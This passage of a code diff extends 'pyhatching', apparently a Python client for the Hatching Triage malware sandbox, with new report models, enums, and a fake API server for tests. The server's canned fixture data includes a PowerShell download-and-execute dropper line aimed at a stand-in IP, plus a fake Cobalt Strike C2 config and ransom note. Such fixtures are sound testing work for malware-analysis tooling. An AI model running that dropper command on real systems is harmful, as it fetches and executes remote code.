attr: Optional[dict] = None + attr: Optional[Any] = None raw: Optional[str] = None -class Ransom(BaseModel): +class Ransom(TriageModel): """A ransomware note observed during analysis.""" - note: str + note: Optional[str] = None family: Optional[str] = None target: Optional[str] = None emails: Optional[list[str]] = None @@ -269,89 +442,309 @@ class Ransom(BaseModel): contact: Optional[list[str]] = None -class DropperURL(BaseModel): +class DropperURL(TriageModel): """A URL used by a dropper.""" - type: str + type: Optional[str] = None url: str -class Dropper(BaseModel): +class Dropper(TriageModel): """A malware that downloads other malware.""" - language: str - urls: list[DropperURL] + language: Optional[str] = None + urls: list[DropperURL] = Field(default_factory=list) family: Optional[str] = None source: Optional[str] = None deobfuscated: Optional[str] = None -class OverviewTarget(BaseModel): +class Extract(TriageModel): + """Data extracted from a sample (configs, ransom notes, droppers, credentials).""" + + dumped_file: Optional[str] = None + resource: Optional[str] = None + config: Optional[Config] = None + path: Optional[str] = None + ransom_note: Optional[Ransom] = None + dropper: Optional[Dropper] = None + credentials: Optional[Credentials] = None + + +class OverviewTarget(TargetDesc): """A summary of the target (analyzed object) and findings.""" - tasks: list[str] - id: Optional[str] = None - score: Optional[int] = None + tasks: list[str] = Field(default_factory=list) + tags: Optional[list[str]] = None + family: Optional[list[str]] = None + signatures: Optional[list[Signature]] = None + iocs: Optional[OverviewIOCs] = None + + +class OverviewExtracted(Extract): + """Collection of data extracted during analysis, and the tasks it came from.""" + + tasks: list[str] = Field(default_factory=list) + + +class OverviewSample(TargetDesc): + """Information on the analyzed sample, very similar to OverviewTarget but w/o tasks.""" + + created: Optional[datetime.datetime] = None + iocs: Optional[OverviewIOCs] = None + + +class OverviewReport(HatchingResponse): + """The sandbox's overview report for a single sample.""" + + version: Optional[str] = None + sample: OverviewSample = Field(default_factory=OverviewSample) + analysis: OverviewAnalysis = Field(default_factory=OverviewAnalysis) + targets: list[OverviewTarget] = Field(default_factory=list) + tasks: Optional[list[TaskSummary]] = None + errors: Optional[list[ReportedFailure]] = None + signatures: Optional[list[Signature]] = None + extracted: Optional[list[OverviewExtracted]] = None + + +class ReportSample(TriageModel): + """The sample section of a static report.""" + + sample: Optional[str] = None + kind: Optional[str] = None + size: Optional[int] = None + target: Optional[str] = None submitted: Optional[datetime.datetime] = None - completed: Optional[datetime.datetime] = None + + +class ReportTask(TriageModel): + """The task section of a static report.""" + + task: Optional[str] = None target: Optional[str] = None - pick: Optional[str] = None - type: Optional[str] = None - size: Optional[int] = None + + +class ReportAnalysis(TriageModel): + """The analysis section of a static report.""" + + reported: Optional[datetime.datetime] = None + score: Optional[int] = None + tags: Optional[list[str]] = None + + +class FileReport(TriageModel): + """A file found by static analysis (the sample itself, or a file in it).""" + + filename: Optional[str] = None + relpath: Optional[str] = None + filesize: Optional[int] = None md5: Optional[str] = None sha1: Optional[str] = None sha256: Optional[str] = None sha512: Optional[str] = None - filetype: Optional[str] = None - static_tags: Optional[list[str]] = None + ssdeep: Optional[str] = None + exts: Optional[list[str]] = None tags: Optional[list[str]] = None - family: Optional[list[str]] = None - signatures: list[Signature] = None - iocs: Optional[OverviewIOCs] = None + filetype: Optional[str] = None + mime: Optional[str] = None + depth: Optional[int] = None + error: Optional[str] = None + kind: Optional[str] = None + selected: Optional[bool] = None + runas: Optional[str] = None + password: Optional[str] = None -class OverviewExtracted(BaseModel): - """Collection of data extracted during analysis.""" +class StaticReport(HatchingResponse): + """A sample's static analysis report (GET /samples/{id}/reports/static).""" - tasks: list[str] - dumped_file: Optional[str] = None - resource: Optional[str] = None - config: Optional[Config] = None - path: Optional[str] = None - ransom_note: Optional[Ransom] = None - dropper: Optional[Dropper] = None - credentials: Optional[Credentials] = None + version: Optional[str] = None + sample: ReportSample = Field(default_factory=ReportSample) + task: ReportTask = Field(default_factory=ReportTask) + analysis: ReportAnalysis = Field(default_factory=ReportAnalysis) + signatures: Optional[list[Signature]] = None + files: Optional[list[FileReport]] = None + unpack_count: Optional[int] = None + error_count: Optional[int] = None + kind: Optional[str] = None + errors: Optional[list[ReportedFailure]] = None + extracted: Optional[list[Extract]] = None -class OverviewSample(BaseModel): - """Information on the analyzed sample, very similar to OverviewTarget but w/o tasks.""" +class ReportAnalysisInfo(TriageModel): + """The analysis section of a task (triage) report.""" - id: Optional[str] = None score: Optional[int] = None - target: Optional[str] = None - pick: Optional[str] = None + tags: Optional[list[str]] = None + ttp: Optional[list[str]] = None + features: Optional[list[str]] = None + submitted: Optional[datetime.datetime] = None + reported: Optional[datetime.datetime] = None + max_time_network: Optional[int] = None + max_time_kernel: Optional[int] = None + backend: Optional[str] = None + resource: Optional[str] = None + resource_tags: Optional[list[str]] = None + platform: Optional[str] = None + + +class Process(TriageModel): + """A process observed during dynamic analysis.""" + + procid: Optional[int] = None + procid_parent: Optional[int] = None + pid: Optional[int] = None + ppid: Optional[int] = None + cmd: Any = None + image: Optional[str] = None + orig: Optional[bool] = None + started: Optional[int] = None + terminated: Optional[int] = None + + +class NetworkFlow(TriageModel): + """A network flow observed during dynamic analysis.""" + + id: Optional[int] = None + src: Optional[str] = None + dst: Optional[str] = None + proto: Optional[str] = None + pid: Optional[int] = None + procid: Optional[int] = None + first_seen: Optional[int] = None + last_seen: Optional[int] = None + rx_bytes: Optional[int] = None + rx_packets: Optional[int] = None + tx_bytes: Optional[int] = None + tx_packets: Optional[int] = None + protocols: Optional[list[str]] = None + domain: Optional[str] = None + tls_ja3: Optional[str] = None + tls_ja3s: Optional[str] = None + tls_sni: Optional[str] = None + + +class DNSEntry(TriageModel): + """A DNS question or answer.""" + + name: Optional[str] = None type: Optional[str] = None - size: Optional[int] = None + value: Optional[str] = None + + +class NetworkDomainRequest(TriageModel): + """A DNS request.""" + + domains: Optional[list[str]] = None + questions: Optional[list[DNSEntry]] = None + + +class NetworkDomainResponse(TriageModel): + """A DNS response.""" + + domains: Optional[list[str]] = None + ip: Optional[list[str]] = None + answers: Optional[list[DNSEntry]] = None + + +class NetworkWebRequest(TriageModel): + """An HTTP request.""" + + method: Optional[str] = None + url: Optional[str] = None + request: Optional[str] = None + headers: Optional[list[str]] = None + + +class NetworkWebResponse(TriageModel): + """An HTTP response.""" + + status: Optional[str] = None + response: Optional[str] = None + headers: Optional[list[str]] = None + + +class NetworkRequest(TriageModel): + """A DNS or HTTP request (and its response) observed during dynamic analysis.""" + + flow: Optional[int] = None + index: Optional[int] = None + at: Optional[int] = None + dns_request: Optional[NetworkDomainRequest] = None + dns_response: Optional[NetworkDomainResponse] = None + http_request: Optional[NetworkWebRequest] = None + http_response: Optional[NetworkWebResponse] = None + + +class NetworkIP(TriageModel): + """Information about an IP contacted during dynamic analysis.""" + + cidr: Optional[str] = None + cc: Optional[str] = None + asn: Optional[str] = None + + +class NetworkReport(TriageModel): + """The network section of a task report.""" + + flows: Optional[list[NetworkFlow]] = None + requests: Optional[list[NetworkRequest]] = None + ips: Optional[dict[str, NetworkIP]] = None + + +class Dump(TriageModel): + """A file or memory region dumped during dynamic analysis. + + ``name`` can be downloaded with ``PyHatchingClient.task_file``. + """ + + at: Optional[int] = None + pid: Optional[int] = None + procid: Optional[int] = None + path: Optional[str] = None + name: Optional[str] = None + kind: Optional[str] = None + origin: Optional[str] = None + addr: Optional[int] = None + length: Optional[int] = None md5: Optional[str] = None sha1: Optional[str] = None sha256: Optional[str] = None sha512: Optional[str] = None - filetype: Optional[str] = None - static_tags: Optional[list[str]] = None - submitted: Optional[datetime.datetime] = None - created: Optional[datetime.datetime] = None - completed: Optional[datetime.datetime] = None - iocs: Optional[OverviewIOCs] = None + ssdeep: Optional[str] = None + size: Optional[int] = None + nsrl: Optional[str] = None -class OverviewReport(HatchingResponse): - """The sandbox's overview report for a single sample.""" +class TriageReport(HatchingResponse): + """A task's dynamic analysis report (GET /samples/{id}/{task}/report_triage.json).""" - version: str - sample: OverviewSample - analysis: OverviewAnalysis - targets: list[OverviewTarget] - tasks: Optional[list[TaskSummary]] = None + version: Optional[str] = None + sample: TargetDesc = Field(default_factory=TargetDesc) + task: TargetDesc = Field(default_factory=TargetDesc) errors: Optional[list[ReportedFailure]] = None + analysis: ReportAnalysisInfo = Field(default_factory=ReportAnalysisInfo) + processes: Optional[list[Process]] = None signatures: Optional[list[Signature]] = None - extracted: Optional[list[OverviewExtracted]] = None + network: NetworkReport = Field(default_factory=NetworkReport) + debug: Optional[dict] = None + dumped: Optional[list[Dump]] = None + extracted: Optional[list[Extract]] = None + + +class SampleSummary(HatchingResponse): + """A short summary of a sample and its tasks (GET /samples/{id}/summary). + + ``tasks`` is keyed by the full task ID (``-``). + """ + + sample: Optional[str] = None + status: Optional[str] = None + kind: Optional[str] = None + owner: Optional[str] = None + target: Optional[str] = None + score: Optional[int] = None + sha256: Optional[str] = None + created: Optional[datetime.datetime] = None + completed: Optional[datetime.datetime] = None + tasks: Optional[dict[str, dict]] = None diff --git a/src/pyhatching/enums.py b/src/pyhatching/enums.py index eded8c1..dcd6490 100644 --- a/src/pyhatching/enums.py +++ b/src/pyhatching/enums.py @@ -16,21 +16,31 @@ class SubmssionsRequestNetDefaults(Enum): INTERNET: str = "internet" DROP: str = "drop" TOR: str = "tor" + SIM200: str = "sim200" + SIM404: str = "sim404" + SIMNX: str = "simnx" + VPN: str = "vpn" class SubmissionKinds(Enum): - """The valid kinds of submissions.""" + """The valid kinds of submissions. + + ``import`` imports a public Triage sample (by URL or ID) into a private instance. + """ FILE: str = "file" URL: str = "url" FETCH: str = "fetch" + IMPORT: str = "import" class SampleKinds(Enum): - """The valid kinds of submissions.""" + """The kinds of samples.""" FILE: str = "file" URL: str = "url" + FETCH: str = "fetch" + IMPORT: str = "import" class SubmissionStatuses(Enum): @@ -59,6 +69,36 @@ class ErrorNames(Enum): PROFILE_ALREADY_EXISTS: str = "PROFILE_ALREADY_EXISTS" PROFILE_NOT_SETTABLE: str = "PROFILE_NOT_SETTABLE" REPORT_NOT_AVAILABLE: str = "REPORT_NOT_AVAILABLE" + NOT_AVAILABLE: str = "NOT_AVAILABLE" + FORBIDDEN: str = "FORBIDDEN" + TOO_MANY_REQUESTS: str = "TOO_MANY_REQUESTS" + USER_ALREADY_REGISTERED: str = "USER_ALREADY_REGISTERED" + DELETE_SELF: str = "DELETE_SELF" + MISSING_PERMISSION: str = "MISSING_PERMISSION" + + +class SampleSubsets(Enum): + """The subsets of samples that can be listed with GET /samples.""" + + OWNED: str = "owned" + PUBLIC: str = "public" + ORG: str = "org" + + +class ArchiveFormats(Enum): + """The formats a sample's archive (sample, reports, and files) can be downloaded as.""" + + TAR: str = "tar" + ZIP: str = "zip" + + +class KernelLogs(Enum): + """The kernel monitor log name for each platform (``.json`` in a task).""" + + WINDOWS: str = "onemon" + LINUX: str = "stahp" + MACOS: str = "bigmac" + ANDROID: str = "droidy" class ErrorDesc(Enum): @@ -84,6 +124,7 @@ class ProfileNetworkOptions(Enum): "sim200": InetSim-like functionality with HTTP 200 responses. "sim404": InetSim-like functionality with HTTP 404 responses. "simnx": InetSim-like functionality with DNS NXDOMAIN responses. + "vpn": Route internet through a VPN, set a geolocation to pick the region. """ DEFAULT: str = "" @@ -93,13 +134,17 @@ class ProfileNetworkOptions(Enum): SIM200: str = "sim200" SIM404: str = "sim404" SIMNX: str = "simnx" + VPN: str = "vpn" class HashPrefixes(Enum): + """The search prefixes of each hash type.""" + MD5: str = "md5" SHA1: str = "sha1" SHA2: str = "sha256" SHA5: str = "sha512" + SSDEEP: str = "ssdeep" class AvailableTags(Enum): @@ -112,11 +157,16 @@ class AvailableTags(Enum): BANKER: str = "banker" BOOTKIT: str = "bootkit" BOTNET: str = "botnet" + CLIPPER: str = "clipper" + COLLECTION: str = "collection" + CRYPTER: str = "crypter" DISCOVERY: str = "discovery" DOWNLOADER: str = "downloader" DROPPER: str = "dropper" EVASION: str = "evasion" EXPLOIT: str = "exploit" + EXPLOITER: str = "exploiter" + FAKEAV: str = "fakeav" ICS: str = "ics" INFOSTEALER: str = "infostealer" KEYLOGGER: str = "keylogger" @@ -128,6 +178,8 @@ class AvailableTags(Enum): RANSOMWARE: str = "ransomware" RAT: str = "rat" ROOTKIT: str = "rootkit" + SPAM: str = "spam" + SPREADER: str = "spreader" SPYWARE: str = "spyware" STEALER: str = "stealer" TROJAN: str = "trojan" diff --git a/src/pyhatching/errors.py b/src/pyhatching/errors.py index af363b9..b0a676d 100644 --- a/src/pyhatching/errors.py +++ b/src/pyhatching/errors.py @@ -34,4 +34,26 @@ class PyHatchingJsonError(PyHatchingRequestError): class PyHatchingApiError(PyHatchingConnError): - """The Hatching Triage API returned an error.""" + """The Hatching Triage API returned an error. + + Attributes + ---------- + status : int | None + The HTTP status code of the response, if known. + error : str | None + The API's error name (ex. ``NOT_FOUND``), see ``enums.ErrorNames``. + message : str | None + The API's description of the error. + """ + + def __init__( + self, + mesg: str, + status: int | None = None, + error: str | None = None, + message: str | None = None, + ) -> None: + super().__init__(mesg) + self.status = status + self.error = error + self.message = message diff --git a/src/pyhatching/testing.py b/src/pyhatching/testing.py new file mode 100644 index 0000000..3d6d90d --- /dev/null +++ b/src/pyhatching/testing.py @@ -0,0 +1,1026 @@ +"""A fake Hatching Triage API server for tests. + +``FakeTriage`` serves every endpoint ``PyHatchingClient`` uses, from an in-memory +state seeded with one fully reported sample (``SAMPLE_ID``), and records each request +so tests can assert exactly what was sent. It's used by pyhatching's own tests and is +meant to be reused by projects built on pyhatching:: + + async with FakeTriage() as fake: + async with PyHatchingClient(fake.apikey, url=fake.url) as client: + report = await client.overview(SAMPLE_ID) + assert fake.requests[-1]["path"] == f"/api/v1/samples/{SAMPLE_ID}/overview.json" + +The canned data follows the shapes of Hatching's official API clients, it is not +copied from real analyses. +""" + +import copy +import hashlib +import io +import json +import tarfile +import zipfile +from typing import Any + +from aiohttp import web + + +# web.RequestKey is only in newer aiohttp versions. +RECORD = web.RequestKey("record", dict) if hasattr(web, "RequestKey") else "record" +"""The request storage key of a request's record.""" + + +APIKEY = "testkey" +"""The API key ``FakeTriage`` accepts by default.""" + +SAMPLE_ID = "261031-a1b2c3d4e5" +"""The ID of the seeded, fully reported, sample.""" + +SAMPLE_BYTES = b"MZ\x90\x00 pyhatching fake sample" +"""The seeded sample's file contents.""" + +SAMPLE_MD5 = hashlib.md5(SAMPLE_BYTES).hexdigest() +SAMPLE_SHA1 = hashlib.sha1(SAMPLE_BYTES).hexdigest() +SAMPLE_SHA256 = hashlib.sha256(SAMPLE_BYTES).hexdigest() +SAMPLE_SHA512 = hashlib.sha512(SAMPLE_BYTES).hexdigest() +SAMPLE_SSDEEP = "3:abcdefgh:ijklmnop" + +DROPPED_BYTES = b"MZ dropped payload" +"""The contents of the file dumped during the seeded sample's behavioral1 task.""" + +DROPPED_SHA256 = hashlib.sha256(DROPPED_BYTES).hexdigest() + +PCAP_BYTES = b"\xd4\xc3\xb2\xa1fake pcap" +SCREENSHOT_BYTES = b"\x89PNG fake screenshot" + +SUBMITTED = "2026-10-31T12:00:00Z" +COMPLETED = "2026-10-31T12:05:00Z" + +SAMPLE = { + "id": SAMPLE_ID, + "status": "reported", + "kind": "file", + "filename": "invoice.exe", + "private": False, + "tasks": [ + {"id": "static1", "status": "reported"}, + {"id": "behavioral1", "status": "reported", "target": "invoice.exe"}, + ], + "submitted": SUBMITTED, + "completed": COMPLETED, +} + +SIGNATURES = [ + { + "label": "cobaltstrike", + "name": "Cobaltstrike", + "score": 10, + "tags": ["family:cobaltstrike", "backdoor", "trojan"], + "desc": "Detects Cobalt Strike Beacon payloads.", + }, + { + "label": "persistence_runkey", + "name": "Adds Run key to start application", + "score": 6, + "ttp": ["T1547.001"], + "tags": ["persistence"], + "indicators": [ + { + "ioc": "\\REGISTRY\\USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\upd", + "pid": 2044, + "procid": 1, + } + ], + }, + { + "name": "Suspicious use of SetWindowsHookEx", + "score": 3, + "ttp": ["T1056.001"], + }, +] + +CONFIG = { + "family": "cobaltstrike", + "rule": "CobaltStrike", + "c2": ["http://198.51.100.7:443/jquery-3.3.1.min.js", "evil.example.com:8080"], + "version": "4.9", + "botnet": "1359593325", + "mutex": ["Global\\cs-mutex"], + "keys": [{"kind": "rsa_pubkey", "key": "publickey", "value": "MIGfMA0GCSq..."}], + "attr": {"watermark": 1359593325, "sleep_time": 60000}, + "credentials": [ + {"protocol": "smtp", "host": "mail.example.com", "port": 587, + "username": "bot@example.com", "password": "hunter2"}, + ], +} + +TASK_SUMMARIES = [ + { + "sample": SAMPLE_ID, + "kind": "static", + "name": "static1", + "status": "reported", + "score": 3, + "tags": ["upx"], + }, + { + "sample": SAMPLE_ID, + "kind": "behavioral", + "name": "behavioral1", + "status": "reported", + "ttp": ["T1547.001", "T1056.001"], + "tags": ["family:cobaltstrike", "backdoor", "trojan", "persistence"], + "score": 10, + "target": "invoice.exe", + "backend": "sbx1", + "resource": "win10v2004-20260901-en", + "platform": "windows10-2004_x64", + "os": "windows10-2004_x64", + "task_name": "invoice.exe", + "timeout": 150, + "sigs": 3, + }, +] + +OVERVIEW = { + "version": "0.3.1", + "sample": { + "id": SAMPLE_ID, + "score": 10, + "target": "invoice.exe", + "size": len(SAMPLE_BYTES), + "md5": SAMPLE_MD5, + "sha1": SAMPLE_SHA1, + "sha256": SAMPLE_SHA256, + "sha512": SAMPLE_SHA512, + "ssdeep": SAMPLE_SSDEEP, + "filetype": "PE32 executable (GUI) Intel 80386, for MS Windows", + "static_tags": ["upx"], + "submitted": SUBMITTED, + "created": SUBMITTED, + "completed": COMPLETED, + "iocs": { + "urls": ["http://198.51.100.7/jquery-3.3.1.min.js"], + "domains": ["evil.example.com"], + "ips": ["198.51.100.7"], + }, + }, + "tasks": TASK_SUMMARIES, + "analysis": { + "score": 10, + "family": ["cobaltstrike"], + "tags": ["family:cobaltstrike", "backdoor", "trojan", "persistence", "upx"], + }, + "targets": [ + { + "tasks": ["behavioral1"], + "id": SAMPLE_ID, + "score": 10, + "submitted": SUBMITTED, + "completed": COMPLETED, + "target": "invoice.exe", + "size": len(SAMPLE_BYTES), + "md5": SAMPLE_MD5, + "sha1": SAMPLE_SHA1, + "sha256": SAMPLE_SHA256, + "sha512": SAMPLE_SHA512, + "ssdeep": SAMPLE_SSDEEP, + "filetype": "PE32 executable (GUI) Intel 80386, for MS Windows", + "static_tags": ["upx"], + "tags": ["family:cobaltstrike", "backdoor", "trojan", "persistence"], + "family": ["cobaltstrike"], + "signatures": SIGNATURES, + "iocs": { + "urls": ["http://198.51.100.7/jquery-3.3.1.min.js"], + "domains": ["evil.example.com"], + "ips": ["198.51.100.7"], + }, + } + ], + "signatures": SIGNATURES, + "extracted": [ + { + "tasks": ["behavioral1"], + "dumped_file": "memory/2044-1-0x0000000000400000-0x0000000000450000.dmp", + "resource": "behavioral1/memory/2044-1-0x0000000000400000-0x0000000000450000.dmp", + "config": CONFIG, + }, + { + "tasks": ["behavioral1"], + "dropper": { + "language": "ps1", + "source": "IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.9/a.ps1')", + "deobfuscated": "", + "urls": [{"type": "url", "url": "http://203.0.113.9/a.ps1"}], + }, + }, + { + "tasks": ["behavioral1"], + "ransom_note": { + "family": "lockbit", + "note": "Your files are encrypted.", + "emails": ["pay@example.org"], + "wallets": ["bc1qexamplewallet"], + "urls": ["http://ransom.example.onion/"], + }, + }, + ], +} + +STATIC_REPORT = { + "version": "0.2.3", + "sample": { + "sample": SAMPLE_ID, + "kind": "file", + "size": len(SAMPLE_BYTES), + "target": "invoice.exe", + "submitted": SUBMITTED, + }, + "task": {"task": f"{SAMPLE_ID}-static1", "target": "invoice.exe"}, + "analysis": {"reported": COMPLETED, "score": 3, "tags": ["upx"]}, + "signatures": [{"name": "UPX packed file", "score": 3, "tags": ["upx"]}], + "files": [ + { + "filename": "invoice.exe", + "filesize": len(SAMPLE_BYTES), + "md5": SAMPLE_MD5, + "sha1": SAMPLE_SHA1, + "sha256": SAMPLE_SHA256, + "sha512": SAMPLE_SHA512, + "ssdeep": SAMPLE_SSDEEP, + "exts": [".exe"], + "tags": ["upx"], + "filetype": "PE32 executable (GUI) Intel 80386, for MS Windows", + "mime": "application/x-dosexec", + "depth": 0, + "kind": "exe", + "selected": True, + "runas": "invoice.exe", + } + ], + "unpack_count": 1, + "error_count": 0, +} + +TASK_REPORT = { + "version": "0.3.1", + "sample": { + "id": SAMPLE_ID, + "score": 10, + "submitted": SUBMITTED, + "target": "invoice.exe", + "size": len(SAMPLE_BYTES), + "md5": SAMPLE_MD5, + "sha1": SAMPLE_SHA1, + "sha256": SAMPLE_SHA256, + "sha512": SAMPLE_SHA512, + "filetype": "PE32 executable (GUI) Intel 80386, for MS Windows", + "static_tags": ["upx"], + }, + "task": {"id": "behavioral1", "target": "invoice.exe", "sha256": SAMPLE_SHA256}, + "analysis": { + "score": 10, + "tags": ["family:cobaltstrike", "backdoor", "trojan", "persistence"], + "ttp": ["T1547.001", "T1056.001"], + "features": ["pcap"], + "submitted": SUBMITTED, + "reported": COMPLETED, + "max_time_network": 140000, + "max_time_kernel": 150000, + "backend": "sbx1", + "resource": "win10v2004-20260901-en", + "platform": "windows10-2004_x64", + }, + "processes": [ + { + "procid": 1, + "procid_parent": 0, + "pid": 2044, + "ppid": 1012, + "cmd": "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\invoice.exe\"", + "image": "C:\\Users\\Admin\\AppData\\Local\\Temp\\invoice.exe", + "orig": True, + "started": 1200, + }, + { + "procid": 2, + "procid_parent": 1, + "pid": 3120, + "ppid": 2044, + "cmd": ["C:\\Windows\\System32\\cmd.exe", "/c", "whoami"], + "image": "C:\\Windows\\System32\\cmd.exe", + "orig": False, + "started": 3400, + "terminated": 3900, + }, + ], + "signatures": SIGNATURES, + "network": { + "flows": [ + { + "id": 1, + "src": "10.127.0.5:49712", + "dst": "198.51.100.7:443", + "proto": "tcp", + "pid": 2044, + "procid": 1, + "first_seen": 5000, + "last_seen": 9000, + "rx_bytes": 1024, + "tx_bytes": 512, + "protocols": ["tls", "http"], + "domain": "evil.example.com", + "tls_ja3": "a0e9f5d64349fb13191bc781f81f42e1", + "tls_ja3s": "15af977ce25de452b96affa2addb1036", + "tls_sni": "evil.example.com", + }, + { + "id": 2, + "src": "10.127.0.5:53000", + "dst": "8.8.8.8:53", + "proto": "udp", + "protocols": ["dns"], + }, + ], + "requests": [ + { + "flow": 2, + "index": 1, + "at": 4900, + "dns_request": { + "domains": ["evil.example.com"], + "questions": [{"name": "evil.example.com", "type": "A"}], + }, + }, + { + "flow": 2, + "index": 2, + "at": 4950, + "dns_response": { + "domains": ["evil.example.com"], + "ip": ["198.51.100.7"], + "answers": [{"name": "evil.example.com", "type": "A", "value": "198.51.100.7"}], + }, + }, + { + "flow": 1, + "index": 3, + "at": 5100, + "http_request": { + "method": "GET", + "url": "http://evil.example.com/jquery-3.3.1.min.js", + "request": "GET /jquery-3.3.1.min.js HTTP/1.1", + "headers": ["Host: evil.example.com", "User-Agent: Mozilla/5.0 (fake)"], + }, + }, + { + "flow": 1, + "index": 4, + "at": 5200, + "http_response": { + "status": "200", + "response": "HTTP/1.1 200 OK", + "headers": ["Server: nginx"], + }, + }, + ], + "ips": {"198.51.100.7": {"cidr": "198.51.100.0/24", "cc": "US", "asn": "AS64500"}}, + }, + "dumped": [ + { + "at": 6000, + "pid": 2044, + "procid": 1, + "path": "C:\\Users\\Admin\\AppData\\Roaming\\upd.exe", + "name": "files/0x0003000000022c2b-1.dat", + "kind": "martian", + "md5": hashlib.md5(DROPPED_BYTES).hexdigest(), + "sha1": hashlib.sha1(DROPPED_BYTES).hexdigest(), + "sha256": DROPPED_SHA256, + "sha512": hashlib.sha512(DROPPED_BYTES).hexdigest(), + "size": len(DROPPED_BYTES), + }, + { + "at": 7000, + "pid": 2044, + "procid": 1, + "name": "memory/2044-1-0x0000000000400000-0x0000000000450000.dmp", + "kind": "region", + "addr": 4194304, + "length": 327680, + }, + ], + "extracted": [ + { + "dumped_file": "memory/2044-1-0x0000000000400000-0x0000000000450000.dmp", + "resource": "behavioral1/memory/2044-1-0x0000000000400000-0x0000000000450000.dmp", + "config": CONFIG, + } + ], +} + +SUMMARY = { + "sample": SAMPLE_ID, + "status": "reported", + "kind": "file", + "owner": "test@example.com", + "target": "invoice.exe", + "score": 10, + "sha256": SAMPLE_SHA256, + "created": SUBMITTED, + "completed": COMPLETED, + "tasks": { + f"{SAMPLE_ID}-static1": {"kind": "static", "status": "reported", "score": 3}, + f"{SAMPLE_ID}-behavioral1": { + "kind": "behavioral", + "status": "reported", + "score": 10, + "tags": ["family:cobaltstrike"], + "resource": "win10v2004-20260901-en", + "platform": "windows10-2004_x64", + }, + }, +} + +KERNEL_EVENTS = [ + {"kind": "onemon.Process", "time": 1200, "pid": 2044, "image": "invoice.exe"}, + {"kind": "onemon.Registry", "time": 3000, "pid": 2044, "key": "Run\\upd"}, +] + +PROFILE = { + "id": "f4b9a3c2-1d2e-4f5a-8b6c-7d8e9f0a1b2c", + "name": "win10-internet", + "tags": ["windows10"], + "network": "internet", + "timeout": 150, +} + +YARA_RULE = { + "name": "fake_rule.yara", + "rule": 'rule fake_rule { strings: $a = "pyhatching" condition: $a }', + "warnings": [], +} + +URLSCAN_REPORT = { + "version": "0.1.0", + "task": f"{SAMPLE_ID}-urlscan1", + "url": "http://evil.example.com/login", + "effective_url": "https://evil.example.com/login", + "requests": [{"url": "https://evil.example.com/login", "status": 200}], + "verdict": {"score": 10, "tags": ["phishing"]}, +} + +MAGIC_TOKEN = "fakemagictoken1234567890" +"""The magic link token returned for any seeded sample.""" + +RESOURCES = [ + { + "resources": [ + {"name": "win10v2004-20260901-en", "tags": ["os:windows10-2004-x64", "locale:en-us"]}, + {"name": "ubuntu-2204-amd64", "tags": ["os:ubuntu-22.04-amd64"]}, + ] + } +] + +GEOLOCATIONS = [ + { + "geolocations": [ + {"name": "us", "tags": ["geo:us"]}, + {"name": "de", "tags": ["geo:de"]}, + ] + } +] + +USER = { + "id": "8c2e3f40-5a6b-4c7d-9e8f-0a1b2c3d4e5f", + "username": "analyst", + "first_name": "Ann", + "last_name": "Alyst", + "email": "analyst@example.com", + "created_at": SUBMITTED, + "company_id": "company-1", + "permissions": ["view_samples", "submit_samples"], +} + +EVENTS = ["pending", "static_analysis", "scheduled", "running", "processing", "reported"] +"""The statuses streamed by the events endpoints.""" + + +def _err(status: int, error: str, message: str) -> web.Response: + return web.json_response({"error": error, "message": message}, status=status) + + +class FakeTriage: + """A fake Hatching Triage API, see the module docs. + + Attributes + ---------- + url : str + The URL to pass to ``PyHatchingClient`` (the API is served under ``/api``). + apikey : str + The API key the server accepts. + requests : list[dict] + Every request received: ``method``, ``path``, ``query``, ``headers``, ``json`` + (for JSON bodies), ``form`` (multipart fields), and ``files`` (multipart files). + samples, profiles, rules, users, apikeys : dict + The server's state, which tests may change. + """ + + def __init__(self, apikey: str = APIKEY) -> None: + self.apikey = apikey + self.url = "" + self.requests: list[dict] = [] + self.samples: dict[str, dict] = {SAMPLE_ID: copy.deepcopy(SAMPLE)} + self.files: dict[str, bytes] = {SAMPLE_ID: SAMPLE_BYTES} + self.overviews: dict[str, dict] = {SAMPLE_ID: copy.deepcopy(OVERVIEW)} + self.statics: dict[str, dict] = {SAMPLE_ID: copy.deepcopy(STATIC_REPORT)} + self.summaries: dict[str, dict] = {SAMPLE_ID: copy.deepcopy(SUMMARY)} + self.task_reports: dict[tuple[str, str], dict] = { + (SAMPLE_ID, "behavioral1"): copy.deepcopy(TASK_REPORT) + } + self.task_files: dict[tuple[str, str, str], bytes] = { + (SAMPLE_ID, "behavioral1", "dump.pcap"): PCAP_BYTES, + (SAMPLE_ID, "behavioral1", "dump.pcapng"): PCAP_BYTES, + (SAMPLE_ID, "behavioral1", "files/0x0003000000022c2b-1.dat"): DROPPED_BYTES, + (SAMPLE_ID, "behavioral1", "logs/onemon.json"): b"".join( + json.dumps(e).encode() + b"\n" for e in KERNEL_EVENTS + ), + (SAMPLE_ID, "urlscan1", "screenshot.png"): SCREENSHOT_BYTES, + } + self.urlscans: dict[tuple[str, str], dict] = { + (SAMPLE_ID, "urlscan1"): copy.deepcopy(URLSCAN_REPORT) + } + self.org_settings: dict[str, Any] = {"magic_link": {"enabled": True}} + self.profiles: dict[str, dict] = {PROFILE["id"]: copy.deepcopy(PROFILE)} + self.rules: dict[str, dict] = {YARA_RULE["name"]: copy.deepcopy(YARA_RULE)} + self.users: dict[str, dict] = {USER["id"]: copy.deepcopy(USER)} + self.apikeys: dict[str, list[dict]] = {USER["id"]: [{"name": "default", "key": "k" * 40}]} + self.counter = 0 + self.runner: web.AppRunner | None = None + + async def __aenter__(self) -> "FakeTriage": + await self.start() + return self + + async def __aexit__(self, *args) -> None: + await self.stop() + + async def start(self) -> None: + """Start the server on a random localhost port and set ``url``.""" + + app = web.Application(middlewares=[self._middleware], client_max_size=64 * 1024 * 1024) + self._routes(app) + self.runner = web.AppRunner(app) + await self.runner.setup() + site = web.TCPSite(self.runner, "127.0.0.1", 0) + await site.start() + port = site._server.sockets[0].getsockname()[1] # pylint: disable=W0212 + self.url = f"http://127.0.0.1:{port}" + + async def stop(self) -> None: + """Stop the server.""" + + if self.runner is not None: + await self.runner.cleanup() + + def last(self, method: str | None = None, path: str | None = None) -> dict | None: + """The last recorded request, optionally the last one matching a method and path suffix.""" + + for req in reversed(self.requests): + if method and req["method"] != method.upper(): + continue + if path and not req["path"].endswith(path): + continue + return req + return None + + @web.middleware + async def _middleware(self, request: web.Request, handler) -> web.StreamResponse: + record: dict[str, Any] = { + "method": request.method, + "path": request.path, + "query": dict(request.query), + "headers": dict(request.headers), + "json": None, + "form": {}, + "files": {}, + } + if request.content_type == "application/json" 